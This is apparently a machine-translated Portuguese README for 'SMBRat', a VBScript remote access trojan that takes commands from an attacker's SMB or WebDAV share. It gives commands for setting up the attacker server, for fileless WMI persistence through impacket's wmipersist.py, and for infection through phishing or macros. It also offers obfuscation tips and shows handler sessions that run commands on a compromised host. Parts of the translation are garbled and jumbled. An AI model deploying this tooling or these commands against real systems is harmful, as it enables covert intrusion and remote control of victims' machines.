Uma ferramenta de administração remota do Windows em script Visual Basic
Ambientes Windows , como redes Active Directory , ficam realmente sobrecarregados com o tráfego de pequenas e médias empresas .
Todos os hosts obtêm políticas do SYSVOL , as configurações precisam de arquivos remotos para funcionar, os atalhos da área de trabalho tendem a apontar para \somethingelseinthenetwork.exe
.
Ninguém notaria mais uma tentativa de conexão. Certo?
- Principalmente se tiver sucesso (é moda monitorar apenas Firewall Denies )
O agent
é um script Visual Basic executado no host infectado e se conecta ao servidor SMB . Ele cria um diretório com o nome hostname
do host e do endereço MAC
principal do host (tentando ser exclusivo e informativo ao mesmo tempo para fins de relatório). Todos os comandos e informações do Host infectado serão armazenados neste diretório. zip
ping em toda a pasta compartilhada arquivará todas as informações do projeto!
Ele NÃO usa uma letra de unidade para montar o compartilhamento, apenas usa UNC paths
para ler arquivos remotos diretamente (nenhuma unidade é criada em explorer.exe
).
Ele também injeta o UNC path
na variável %PATH%
do seu próprio ambiente de execução (você pode executar executáveis diretamente do sistema de arquivos da sua máquina Linux).
O agent
está configurado para ser executado uma vez . Apátrida .
Sua rotina é (mais ou menos) a seguinte:
exec.dat
na pasta criada no SMB Sharecmd.exe /c <command>
como um shell semiinterativo .output.dat
(ao lado de exec.dat
).exec.dat
. O handler
precisa de um servidor SMB para funcionar. O módulo smbserver.py
do pacote impacket
do Core Security servirá.
Muito provavelmente smbd
também funcionaria, mas ainda não foi testado.
É necessário um compartilhamento com o nome D$
para parecer um SMB legítimo de host do Windows.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
Como o agent
está configurado para usar apenas caminhos UNC, o WebDAV também pode ser usado com alterações zero . Em vez de um servidor SMB, um servidor WebDAV pode ser usado (um ótimo servidor WebDAV com suporte SSL é o wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
Para o suporte SSL, os caminhos UNC devem mudar ligeiramente, de:
\<Server-IP>DIR
para:
\<Server-IP>@SSL@443DIR
Esta alteração só pode ser feita na variável ServerName
agent.vbs
, pois todos os caminhos são construídos por ela. Tenha em mente que os certificados SSL devem ser confiáveis pelo sistema que executa o agent
. Os certificados autoassinados falharão com avisos.
Um loop While pode ser adicionado ao início do arquivo agent.vbs
, com uma instrução de atraso de vários segundos (10 segundos é o ideal), e será capaz de infectar hosts Windows clicando duas vezes / phishing / macros do Excel / etc.
Um loop while True
em VBS com atraso de 1 segundo se parece com isto:
Do While True
[ ... ]
WScript.Sleep 1000
Loop
No entanto, se um host Windows tiver RPC habilitado, é possível instalar o arquivo VBS como malware sem arquivo por meio do WMI
e dos fabulosos exemplos de pacotes impacket
com um comando como:
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
Também é possível utilizar a ferramenta WMI
por acesso local para instalar o agent.vbs
como malware sem arquivo.
Scripts do Visual Basic podem ser muito bem ofuscados , base64 e minificados .
Pode ser muito útil dar uma olhada antes de "implantar"
No momento em que este artigo foi escrito, nenhum shell portanto, o uso pode ser feito apenas usando um comando como Handler
estava implementado,watch
para inspecionar o arquivo output.dat
:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
e echo
para escrever coisas no arquivo exec.dat
:
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
O shell experimental funciona da seguinte forma:
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
O tráfego ( conteúdo e caminhos do arquivo) é transferido em texto simples se o servidor SMBv1 for usado (por exemplo, smbserver.py
do impacket
).
Todos os Agentes podem modificar arquivos armazenados no Compartilhamento Inteiro . O que significa que eles podem modificar o exec.dat
de outros Agentes... Um smbmap
irá esclarecer:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
-u
e -p
do smbmap
.Esta é uma sessão NULL (como login anônimo de FTP). TODOS podem alterar os arquivos SHARE e obter execução remota de código em todas as máquinas infectadas.
iptables
aqui ... Digite execall netsh
e você perderá todos os seus agentes. Nenhum responderá, pois o agent.vbs
gerará o shell netsh.exe
e aguardará que ele termine, para que possa gravar seu conteúdo em output.dat
. Mas adivinhe... Não vai terminar... Vai ficar com o netsh>
apontando para o vazio.